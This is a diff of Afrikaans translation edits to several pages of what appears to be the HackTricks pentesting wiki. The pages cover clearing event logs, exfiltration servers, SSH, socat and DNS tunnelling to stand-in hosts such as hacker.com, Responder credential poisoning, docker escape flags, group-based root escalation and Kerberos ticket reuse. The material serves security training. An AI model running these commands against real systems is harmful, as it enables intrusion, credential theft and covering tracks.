@ -123,9 +123,9 @@ Om skadu kopieë te deaktiveer [stappe van hier](https://support.waters.com/KB_I
1. Maak die Dienste program oop deur "dienste" in die teks soekboks te tik nadat jy op die Windows startknoppie geklik het.
2. Vind "Volume Shadow Copy" in die lys, kies dit, en toegang eienskappe deur regsklik.
3. Kies Gedeaktiveer uit die "Opstart tipe" keuselys, en bevestig die verandering deur Toepas en OK te klik.
3. Kies Gedeaktiveer van die "Opstart tipe" keuselys, en bevestig die verandering deur Toepas en OK te klik.
Dit is ook moontlik om die konfigurasie van watter lêers in die skadu kopie gekopieer gaan word in die registrie `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` te wysig.
Dit is ook moontlik om die konfigurasie van watter lêers in die skadu kopie gaan wees, in die registrasie `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` te wysig.
## Oorskryf verwyderde lêers
@ -134,7 +134,7 @@ Dit is ook moontlik om die konfigurasie van watter lêers in die skadu kopie gek
## Verwyder Windows gebeurtenis logs
- Windows + R --> eventvwr.msc --> Brei "Windows Logs" uit --> Regsklik op elke kategorie en kies "Clear Log"
- Windows + R --> eventvwr.msc --> Brei "Windows Logs" uit --> Regsklik op elke kategorie en kies "Log Maak Skoon"
- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`

View File

@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
## Gewoonlik goedgekeurde domeine om inligting te eksfiltreer
## Gewoonlik goedgekeurde domeine om inligting te onttrek
Kyk na [https://lots-project.com/](https://lots-project.com/) om gewoonlik goedgekeurde domeine te vind wat misbruik kan word
@ -107,12 +107,12 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### FTP bediener (NodeJS)
### FTP-bediener (NodeJS)
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### FTP-bediener (pure-ftp)
### FTP bediener (pure-ftp)
```bash
apt-get update && apt-get install pure-ftp
```
@ -150,7 +150,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
Of skep 'n smb deel **met samba**:
Of skep 'n smb deel **met behulp van samba**:
```bash
apt-get install samba
mkdir /tmp/smb
@ -296,14 +296,18 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
Die `debug.exe` program stel nie net in staat om binêre te inspekteer nie, maar het ook die **vermoë om dit uit hex te herbou**. Dit beteken dat deur 'n hex van 'n binêre te verskaf, kan `debug.exe` die binêre lêer genereer. Dit is egter belangrik om te noem dat debug.exe 'n **beperking het om lêers tot 64 kb in grootte te monteer**.
Die `debug.exe` program laat nie net inspeksie van binêre toe nie, maar het ook die **vermoë om hulle uit hex te herbou**. Dit beteken dat deur 'n hex van 'n binêre te verskaf, kan `debug.exe` die binêre lêer genereer. Dit is egter belangrik om te noem dat debug.exe 'n **beperking het om lêers tot 64 kb in grootte te monteer**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
Dan kopieer-en-plak die teks in die windows-shell en 'n lêer genaamd nc.exe sal geskep word.
Dan kopieer-plak die teks in die windows-shell en 'n lêer genaamd nc.exe sal geskep word.
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
## DNS
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
{{#include ../banners/hacktricks-training.md}}

View File

@ -51,13 +51,13 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```
### Port2hostnet (proxychains)
Plaaslike Poort --> Gecompromitteerde gasheer (SSH) --> Enigiemand
Plaaslike Poort --> Gecompromitteerde gasheer (SSH) --> Enige plek
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
### Reverse Port Forwarding
### Omgekeerde Poort Voorwaartse
Dit is nuttig om omgekeerde shells van interne gasheer deur 'n DMZ na jou gasheer te kry:
Dit is nuttig om omgekeerde skale van interne gasheer deur 'n DMZ na jou gasheer te kry:
```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
@ -145,7 +145,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
> [!WARNING]
> In hierdie geval is die **poort geopen in die beacon-gasheer**, nie in die Team Server nie, en die verkeer word na die Team Server gestuur en van daar na die aangeduide gasheer:poort
> In hierdie geval is die **poort geopen in die beacon gasheer**, nie in die Team Server nie, en die verkeer word na die Team Server gestuur en van daar na die aangeduide gasheer:poort
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
@ -153,14 +153,14 @@ rportfwd stop [bind port]
Om op te let:
- Beacon se omgekeerde poort forwarding is ontwerp om **verkeer na die Spanbediener te tonnel, nie om tussen individuele masjiene te relay nie**.
- Verkeer word **binne Beacon se C2-verkeer getonneld**, insluitend P2P skakels.
- **Admin regte is nie nodig nie** om omgekeerde poort forwards op hoë poorte te skep.
- Verkeer word **getonnel binne Beacon se C2 verkeer**, insluitend P2P skakels.
- **Admin regte is nie nodig** om omgekeerde poort forwards op hoë poorte te skep nie.
### rPort2Port plaaslik
> [!WARNING]
> In hierdie geval, die **poort word in die beacon-gasheer geopen**, nie in die Spanbediener nie en die **verkeer word na die Cobalt Strike-kliënt gestuur** (nie na die Spanbediener nie) en van daar na die aangeduide gasheer:poort
```
> In hierdie geval, die **poort word in die beacon gasheer geopen**, nie in die Spanbediener nie en die **verkeer word na die Cobalt Strike kliënt gestuur** (nie na die Spanbediener nie) en van daar na die aangeduide gasheer:poort
```bash
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
@ -286,7 +286,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
U kan 'n **nie-geoutentiseerde proxy** omseil deur hierdie lyn in plaas van die laaste een in die slagoffer se konsole uit te voer:
Jy kan 'n **nie-geoutentiseerde proxy** omseil deur hierdie lyn in plaas van die laaste een in die slagoffer se konsole uit te voer:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
@ -356,7 +356,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Nou kan ons **verbinde** met die **slagoffer** oor **RDP** met **`mstsc.exe`**, en ons behoort 'n **prompt** te ontvang wat sê dat die **SocksOverRDP plugin geaktiveer is**, en dit sal **luister** op **127.0.0.1:1080**.
**Verbind** via **RDP** en laai op & voer die `SocksOverRDP-Server.exe` binêre uit op die slagoffer masjien:
**Verbind** via **RDP** en laai op & voer die `SocksOverRDP-Server.exe` binêre in die slagoffer masjien uit:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
@ -411,7 +411,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
Die tonnel sal baie stadig wees. Jy kan 'n gecomprimeerde SSH-verbinding deur hierdie tonnel skep deur te gebruik:
Die tonnel sal baie stadig wees. U kan 'n gecomprimeerde SSH-verbinding deur hierdie tonnel skep deur te gebruik:
```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
@ -435,14 +435,14 @@ Jy kan [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershel
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
```
#### **Port forwarding met dnscat**
#### **Havenportering met dnscat**
```bash
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
#### Verander proxychains DNS
Proxychains onderskep `gethostbyname` libc oproep en tonnel tcp DNS versoek deur die socks proxy. Deur **default** is die **DNS** bediener wat proxychains gebruik **4.2.2.2** (hardgecodeer). Om dit te verander, wysig die lêer: _/usr/lib/proxychains3/proxyresolv_ en verander die IP. As jy in 'n **Windows omgewing** is, kan jy die IP van die **domeinbeheerder** stel.
Proxychains onderskep `gethostbyname` libc oproep en tonnels tcp DNS versoek deur die socks proxy. Deur **verstek** is die **DNS** bediener wat proxychains gebruik **4.2.2.2** (hardgecodeer). Om dit te verander, wysig die lêer: _/usr/lib/proxychains3/proxyresolv_ en verander die IP. As jy in 'n **Windows-omgewing** is, kan jy die IP van die **domeinbeheerder** stel.
## Tonnels in Go
@ -455,7 +455,7 @@ Proxychains onderskep `gethostbyname` libc oproep en tonnel tcp DNS versoek deur
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
Root is nodig in beide stelsels om tun adapters te skep en data tussen hulle te tonnel deur ICMP echo versoeke.
Root is nodig in beide stelsels om tun-adapters te skep en data tussen hulle te tonnel deur ICMP echo versoeke.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
@ -479,7 +479,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
```
## ngrok
[**ngrok**](https://ngrok.com/) **is 'n hulpmiddel om oplossings in een opdraglyn aan die internet bloot te stel.**\
[**ngrok**](https://ngrok.com/) **is 'n hulpmiddel om oplossings in een opdraglyn aan die Internet bloot te stel.**\
_Expositie URI is soos:_ **UID.ngrok.io**
### Installasie

View File

@ -8,9 +8,9 @@
- **LLMNR, NBT-NS, en mDNS**:
- Microsoft en ander bedryfstelsels gebruik LLMNR en NBT-NS vir plaaslike naamoplossing wanneer DNS misluk. Net so gebruik Apple en Linux stelsels mDNS.
- Hierdie protokolle is vatbaar vir onderskep en spoofing weens hul nie-geverifieerde, uitsendingsnatuur oor UDP.
- Hierdie protokolle is vatbaar vir onderskep en spoofing weens hul ongeverifieerde, uitsendingsnatuur oor UDP.
- [Responder](https://github.com/lgandx/Responder) kan gebruik word om dienste na te boots deur vervalste antwoorde na gashere wat hierdie protokolle vra, te stuur.
- Verdere inligting oor diensnaamsimulasie met behulp van Responder kan [hier](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) gevind word.
- Verdere inligting oor diensna-booting met Responder kan [hier](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) gevind word.
### Web Proxy Auto-Discovery Protokol (WPAD)
@ -20,7 +20,7 @@
### Responder vir Protokol Vergiftiging
- **Responder** is 'n hulpmiddel wat gebruik word om LLMNR, NBT-NS, en mDNS vrae te vergiftig, selektief te antwoord op grond van vraetipes, met die primêre fokus op SMB-dienste.
- **Responder** is 'n hulpmiddel wat gebruik word vir die vergiftiging van LLMNR, NBT-NS, en mDNS vrae, wat selektief antwoordgee gebaseer op vraetipes, hoofsaaklik teiken SMB-dienste.
- Dit kom vooraf geïnstalleer in Kali Linux, konfigureerbaar by `/etc/responder/Responder.conf`.
- Responder vertoon gevangen hashes op die skerm en stoor dit in die `/usr/share/responder/logs` gids.
- Dit ondersteun beide IPv4 en IPv6.
@ -29,9 +29,9 @@
#### Responder Uitvoer
- Om Responder met standaardinstellings te laat loop: `responder -I <Interface>`
- Vir meer aggressiewe ondersoek (met moontlike newe-effekte): `responder -I <Interface> -P -r -v`
- Vir meer aggressiewe ondersoek (met potensiële newe-effekte): `responder -I <Interface> -P -r -v`
- Tegnieke om NTLMv1 uitdagings/antwoorde te vang vir makliker krak: `responder -I <Interface> --lm --disable-ess`
- WPAD-naamsimulasie kan geaktiveer word met: `responder -I <Interface> --wpad`
- WPAD-na-booting kan geaktiveer word met: `responder -I <Interface> --wpad`
- NetBIOS versoeke kan opgelos word na die aanvaller se IP, en 'n verifikasie-proxy kan opgestel word: `responder.py -I <interface> -Pv`
### DHCP Vergiftiging met Responder
@ -41,19 +41,19 @@
- Om die aanval te laat loop: `./Responder.py -I eth0 -Pdv`
- Hierdie metode kan effektief NTLMv1/2 hashes vang, maar dit vereis versigtige hantering om netwerkonderbreking te vermy.
### Capturing Kredensiale met Responder
### Capturing Credentials with Responder
- Responder sal dienste na boots met behulp van die bogenoemde protokolle, en kredensiale (gewoonlik NTLMv2 Uitdaging/Antwoord) vang wanneer 'n gebruiker probeer om teen die gespoofde dienste te verifieer.
- Responder sal dienste na boots met die bogenoemde protokolle, en kredensiale (gewoonlik NTLMv2 Challenge/Response) vang wanneer 'n gebruiker probeer om teen die gespoofde dienste te verifieer.
- Pogings kan aangewend word om af te gradeer na NetNTLMv1 of ESS te deaktiveer vir makliker kredensiaal krak.
Dit is van kardinale belang om te noem dat die gebruik van hierdie tegnieke wettig en eties gedoen moet word, met behoorlike magtiging en om onderbreking of ongeoorloofde toegang te vermy.
Dit is van kardinale belang om te noem dat die gebruik van hierdie tegnieke wettig en eties moet wees, met behoorlike magtiging en om onderbreking of ongeoorloofde toegang te vermy.
## Inveigh
Inveigh is 'n hulpmiddel vir penetrasietoetsers en rooi spanlede, ontwerp vir Windows stelsels. Dit bied funksies soortgelyk aan Responder, wat spoofing en man-in-the-middle-aanvalle uitvoer. Die hulpmiddel het ontwikkel van 'n PowerShell-skrip na 'n C# binaire, met [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) en [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) as die hoof weergawes. Gedetailleerde parameters en instruksies kan in die [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) gevind word.
Inveigh kan deur PowerShell bedryf word:
```powershell
```bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```
Of uitgevoer as 'n C# binêre:
@ -69,7 +69,7 @@ Hierdie aanval benut SMB-authentikasiesessies om toegang tot 'n teikenmasjien te
#### 445 Poort Voorwaartse en Tunneling
In scenario's waar direkte netwerkintroduksie nie haalbaar is nie, moet verkeer op poort 445 vorentoe gestuur en getunnel word. Gereedskap soos [**PortBender**](https://github.com/praetorian-inc/PortBender) help om poort 445-verkeer na 'n ander poort te herlei, wat noodsaaklik is wanneer lokale admin-toegang beskikbaar is vir bestuurderlaai.
In scenario's waar direkte netwerkintroduksie nie haalbaar is nie, moet verkeer op poort 445 voorwaarts en getunnel word. Gereedskap soos [**PortBender**](https://github.com/praetorian-inc/PortBender) help om poort 445-verkeer na 'n ander poort te herlei, wat noodsaaklik is wanneer lokale admin-toegang beskikbaar is vir stuurprogramlaai.
PortBender opstelling en werking in Cobalt Strike:
```bash
@ -115,7 +115,7 @@ In Windows **kan jy dalk sommige bevoorregte rekeninge dwing om te autentiseer o
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
## Verwysings
## References
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)

View File

@ -7,7 +7,7 @@ Daar is 'n paar geleenthede waar jy net **toegang tot die docker socket** het en
### Via mount
Jy kan **mount** verskillende dele van die **filesystem** in 'n container wat as root loop en dit **toegang** gee.\
Jy kan ook 'n **mount misbruik om privileges** binne die container te eskaleer.
Jy kan ook 'n **mount misbruik om privileges te eskaleer** binne die container.
- **`-v /:/host`** -> Mount die host filesystem in die container sodat jy die **host filesystem kan lees.**
- As jy wil **voel soos jy in die host is** maar in die container is, kan jy ander verdedigingsmeganismes deaktiveer met vlae soos:
@ -20,21 +20,21 @@ Jy kan ook 'n **mount misbruik om privileges** binne die container te eskaleer.
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Dit is soortgelyk aan die vorige metode, maar hier **mount ons die toestel skyf**. Dan, binne die container, hardloop `mount /dev/sda1 /mnt` en jy kan die **host filesystem** in `/mnt` **toegang**.
- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> Dit is soortgelyk aan die vorige metode, maar hier **mount ons die toestel skyf**. Dan, binne die container, hardloop `mount /dev/sda1 /mnt` en jy kan die **host filesystem** in `/mnt` **toegang**.
- Hardloop `fdisk -l` in die host om die `</dev/sda1>` toestel te vind om te mount.
- **`-v /tmp:/host`** -> As jy om een of ander rede **net 'n gids** van die host kan **mount** en jy het toegang binne die host. Mount dit en skep 'n **`/bin/bash`** met **suid** in die gemounte gids sodat jy dit kan **uitvoer vanaf die host en na root eskaleer**.
- **`-v /tmp:/host`** -> As jy om een of ander rede net **'n gids kan mount** van die host en jy het toegang binne die host. Mount dit en skep 'n **`/bin/bash`** met **suid** in die gemounte gids sodat jy dit kan **uitvoer van die host en na root eskaleer**.
> [!NOTE]
> Let daarop dat jy dalk nie die gids `/tmp` kan mount nie, maar jy kan 'n **ander skryfbare gids** mount. Jy kan skryfbare gidse vind met: `find / -writable -type d 2>/dev/null`
>
> **Let daarop dat nie al die gidse in 'n linux masjien die suid bit sal ondersteun nie!** Om te kyk watter gidse die suid bit ondersteun, hardloop `mount | grep -v "nosuid"` Byvoorbeeld, gewoonlik ondersteun `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` en `/var/lib/lxcfs` nie die suid bit nie.
>
> Let ook daarop dat as jy **`/etc`** of enige ander gids **wat konfigurasie lêers bevat**, kan mount, jy dit mag verander vanaf die docker container as root om dit te **misbruik in die host** en privileges te eskaleer (miskien deur `/etc/shadow` te verander).
> Let ook daarop dat as jy **`/etc`** of enige ander gids **wat konfigurasie lêers bevat**, kan mount, jy dit mag verander vanuit die docker container as root om dit te **misbruik in die host** en privileges te eskaleer (miskien deur `/etc/shadow` te wysig).
### Ontsnapping uit die container
- **`--privileged`** -> Met hierdie vlag [verwyder jy al die isolasie van die container](docker-privileged.md#what-affects). Kyk tegnieke om [uit priviligeerde containers as root te ontsnap](docker-breakout-privilege-escalation/index.html#automatic-enumeration-and-escape).
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Om [te eskaleer deur capabilities te misbruik](../linux-capabilities.md), **gee daardie vermoë aan die container** en deaktiveer ander beskermingsmetodes wat die ontploffing mag verhinder om te werk.
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Om [te eskaleer deur capabilities te misbruik](../linux-capabilities.md), **gee daardie vermoë aan die container** en deaktiveer ander beskermingsmetodes wat die eksploit kan verhinder om te werk.
### Curl

View File

@ -6,7 +6,7 @@
'n Distroless-container is 'n tipe container wat **slegs die nodige afhanklikhede bevat om 'n spesifieke toepassing te laat loop**, sonder enige addisionele sagteware of gereedskap wat nie benodig word nie. Hierdie containers is ontwerp om so **liggewig** en **veilig** as moontlik te wees, en hulle poog om die **aanvaloppervlak te minimaliseer** deur enige onnodige komponente te verwyder.
Distroless-containers word dikwels in **produksie-omgewings waar sekuriteit en betroubaarheid van kardinale belang is** gebruik.
Distroless-containers word dikwels in **produksie-omgewings waar veiligheid en betroubaarheid van die grootste belang is** gebruik.
Sommige **voorbeelde** van **distroless-containers** is:
@ -25,6 +25,6 @@ Kom op 'n sekere punt in 2023...
#### openssl
\***\*[**In hierdie pos,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) word verduidelik dat die binaire **`openssl`** gereeld in hierdie containers gevind word, moontlik omdat dit **benodig\*\* word deur die sagteware wat binne die container gaan loop.
\***\*[**In hierdie pos,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) word verduidelik dat die binaire **`openssl`** gereeld in hierdie containers voorkom, moontlik omdat dit **benodig** word deur die sagteware wat binne die container gaan loop.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -26,12 +26,12 @@ Vind alle suid binêre en kyk of daar die binêre **Pkexec** is:
```bash
find / -perm -4000 2>/dev/null
```
As jy vind dat die binêre **pkexec 'n SUID-binary is** en jy behoort tot **sudo** of **admin**, kan jy waarskynlik binêre as sudo uitvoer met `pkexec`.\
As jy vind dat die binêre **pkexec 'n SUID-binary** is en jy behoort tot **sudo** of **admin**, kan jy waarskynlik binêre uitvoer as sudo met behulp van `pkexec`.\
Dit is omdat dit tipies die groepe is binne die **polkit-beleid**. Hierdie beleid identifiseer basies watter groepe `pkexec` kan gebruik. Kontroleer dit met:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Daar sal jy vind watter groepe toegelaat is om **pkexec** uit te voer en **per standaard** verskyn die groepe **sudo** en **admin** in sommige Linux-distribusies.
Daar sal jy vind watter groepe toegelaat word om **pkexec** uit te voer en **per standaard** verskyn die groepe **sudo** en **admin** in sommige Linux-distribusies.
Om **root te word kan jy uitvoer**:
```bash
@ -68,7 +68,7 @@ sudo su
```
## Shadow Group
Gebruikers van die **groep shadow** kan **lees** die **/etc/shadow** lêer:
Users from the **group shadow** can **read** the **/etc/shadow** file:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
@ -130,7 +130,7 @@ $ /bin/bash -p
```
## Disk Group
Hierdie voorreg is byna **gelyk aan worteltoegang** aangesien jy toegang tot al die data binne die masjien het.
Hierdie voorreg is byna **gelyk aan worteltoegang** aangesien jy toegang tot al die data binne die masjien kan verkry.
Files:`/dev/sd[a-z][1-9]`
```bash
@ -156,24 +156,24 @@ USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
Die **tty1** beteken dat die gebruiker **yossi fisies ingelogde** is op 'n terminal op die masjien.
Die **tty1** beteken dat die gebruiker **yossi fisies ingelog is** op 'n terminal op die masjien.
Die **video groep** het toegang om die skermuitset te sien. Basies kan jy die skerms observeer. Om dit te doen, moet jy die **huidige beeld op die skerm** in rou data gryp en die resolusie wat die skerm gebruik, kry. Die skermdata kan gestoor word in `/dev/fb0` en jy kan die resolusie van hierdie skerm op `/sys/class/graphics/fb0/virtual_size` vind.
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
Om die **rauwe beeld** te **open**, kan jy **GIMP** gebruik, die \*\*`screen.raw` \*\* lêer te kies en as lêertipe **Raw image data** te kies:
Om die **rauwe beeld** te **open**, kan jy **GIMP** gebruik, kies die **`screen.raw`** lêer en kies as lêertipe **Raw image data**:
![](<../../../images/image (463).png>)
Verander dan die Breedte en Hoogte na diegene wat op die skerm gebruik word en kyk na verskillende Beeldtipes (en kies die een wat die skerm beter wys):
Verander dan die Breedte en Hoogte na diegene wat op die skerm gebruik word en kyk na verskillende Beeldtipes (en kies die een wat die skerm beter vertoon):
![](<../../../images/image (317).png>)
## Root Groep
Dit lyk of **lede van die root groep** standaard toegang kan hê om **te wysig** sommige **diens** konfigurasielêers of sommige **biblioteek** lêers of **ander interessante dinge** wat gebruik kan word om voorregte te verhoog...
Dit lyk of **lede van die root groep** standaard toegang kan hê om sommige **diens** konfigurasielêers of sommige **biblioteek** lêers of **ander interessante dinge** wat gebruik kan word om voorregte te verhoog, te **wysig**...
**Kontroleer watter lêers root lede kan wysig**:
```bash
@ -199,7 +199,7 @@ Uiteindelik, as jy nie van enige van die voorstelle hou nie, of hulle werk om ee
../docker-security/
{{#endref}}
As jy skrywe toestemmings oor die docker socket het, lees [**hierdie pos oor hoe om voorregte te verhoog deur die docker socket te misbruik**](../index.html#writable-docker-socket)**.**
As jy skryfrechten oor die docker socket het, lees [**hierdie pos oor hoe om voorregte te verhoog deur die docker socket te misbruik**](../index.html#writable-docker-socket)**.**
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
@ -223,6 +223,6 @@ Daarom, as jy 'n gebruiker binne hierdie groep gecompromitteer het, moet jy besl
## Auth groep
Binne OpenBSD kan die **auth** groep gewoonlik in die vouers _**/etc/skey**_ en _**/var/db/yubikey**_ skryf as hulle gebruik word.\
Hierdie toestemmings kan misbruik word met die volgende eksploit om **voorregte** na root te verhoog: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
Hierdie toestemmings kan misbruik word met die volgende exploit om **voorregte** na root te verhoog: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -10,9 +10,9 @@
### AD enumerasie vanaf linux
As jy toegang het oor 'n AD in linux (of bash in Windows) kan jy probeer [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) om die AD te enumerate.
As jy toegang het tot 'n AD in linux (of bash in Windows) kan jy probeer [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) om die AD te enumerate.
Jy kan ook die volgende bladsy nagaan om te leer **ander maniere om AD vanaf linux te enumerate**:
Jy kan ook die volgende bladsy nagaan om **ander maniere te leer om AD vanaf linux te enumerate**:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -30,7 +30,7 @@ FreeIPA is 'n oopbron **alternatief** vir Microsoft Windows **Active Directory**
### Pass The Ticket
Op hierdie bladsy gaan jy verskillende plekke vind waar jy **kerberos kaartjies binne 'n linux gasheer kan vind**, op die volgende bladsy kan jy leer hoe om hierdie CCache kaartjie formate na Kirbi (die formaat wat jy in Windows moet gebruik) te transformeer en ook hoe om 'n PTT aanval uit te voer:
Op hierdie bladsy gaan jy verskillende plekke vind waar jy **kerberos kaartjies binne 'n linux gasheer kan vind**, op die volgende bladsy kan jy leer hoe om hierdie CCache kaartjie formate na Kirbi te transformeer (die formaat wat jy in Windows moet gebruik) en ook hoe om 'n PTT aanval uit te voer:
{{#ref}}
../../windows-hardening/active-directory-methodology/pass-the-ticket.md
@ -38,7 +38,7 @@ Op hierdie bladsy gaan jy verskillende plekke vind waar jy **kerberos kaartjies
### CCACHE kaartjie hergebruik vanaf /tmp
CCACHE lêers is binêre formate vir **storing Kerberos geloofsbriewe** wat tipies met 600 toestemmings in `/tmp` gestoor word. Hierdie lêers kan geïdentifiseer word deur hul **naamformaat, `krb5cc_%{uid}`,** wat ooreenstem met die gebruiker se UID. Vir verifikasie van die verifikasieticket, moet die **omgewing veranderlike `KRB5CCNAME`** op die pad van die gewenste kaartjie lêer gestel word, wat hergebruik moontlik maak.
CCACHE lêers is binêre formate vir **storing van Kerberos geloofsbriewe** wat tipies met 600 toestemmings in `/tmp` gestoor word. Hierdie lêers kan geïdentifiseer word deur hul **naamformaat, `krb5cc_%{uid}`,** wat ooreenstem met die gebruiker se UID. Vir verifikasie van die verifikasieticket, moet die **omgewing veranderlike `KRB5CCNAME`** op die pad van die gewenste kaartjie lêer gestel word, wat hergebruik daarvan moontlik maak.
Lys die huidige kaartjie wat vir verifikasie gebruik word met `env | grep KRB5CCNAME`. Die formaat is draagbaar en die kaartjie kan **hergebruik word deur die omgewing veranderlike** met `export KRB5CCNAME=/tmp/ticket.ccache` te stel. Kerberos kaartjie naamformaat is `krb5cc_%{uid}` waar uid die gebruiker se UID is.
```bash
@ -66,12 +66,12 @@ Hierdie prosedure sal probeer om in verskeie sessies in te spuit, wat sukses aan
SSSD hou 'n kopie van die databasis by die pad `/var/lib/sss/secrets/secrets.ldb`. Die ooreenstemmende sleutel word as 'n verborge lêer by die pad `/var/lib/sss/secrets/.secrets.mkey` gestoor. Standaard is die sleutel slegs leesbaar as jy **root** regte het.
Die aanroep van \*\*`SSSDKCMExtractor` \*\* met die --database en --key parameters sal die databasis ontleed en **die geheime ontcijfer**.
Die aanroep van **`SSSDKCMExtractor`** met die --database en --key parameters sal die databasis ontleed en **die geheime ontcijfer**.
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
Die **credential cache Kerberos blob kan omskep word in 'n bruikbare Kerberos CCache** lêer wat aan Mimikatz/Rubeus oorgedra kan word.
Die **akkrediteringskas Kerberos blob kan omskep word in 'n bruikbare Kerberos CCache** lêer wat aan Mimikatz/Rubeus oorgedra kan word.
### CCACHE kaartjie hergebruik vanaf keytab
```bash
@ -83,7 +83,7 @@ klist -k /etc/krb5.keytab
Diensrekening sleutels, wat noodsaaklik is vir dienste wat met wortelprivileges werk, word veilig gestoor in **`/etc/krb5.keytab`** lêers. Hierdie sleutels, soortgelyk aan wagwoorde vir dienste, vereis streng vertroulikheid.
Om die inhoud van die keytab-lêer te ondersoek, kan **`klist`** gebruik word. Die hulpmiddel is ontwerp om sleuteldetails te vertoon, insluitend die **NT Hash** vir gebruikersverifikasie, veral wanneer die sleuteltipe as 23 geïdentifiseer word.
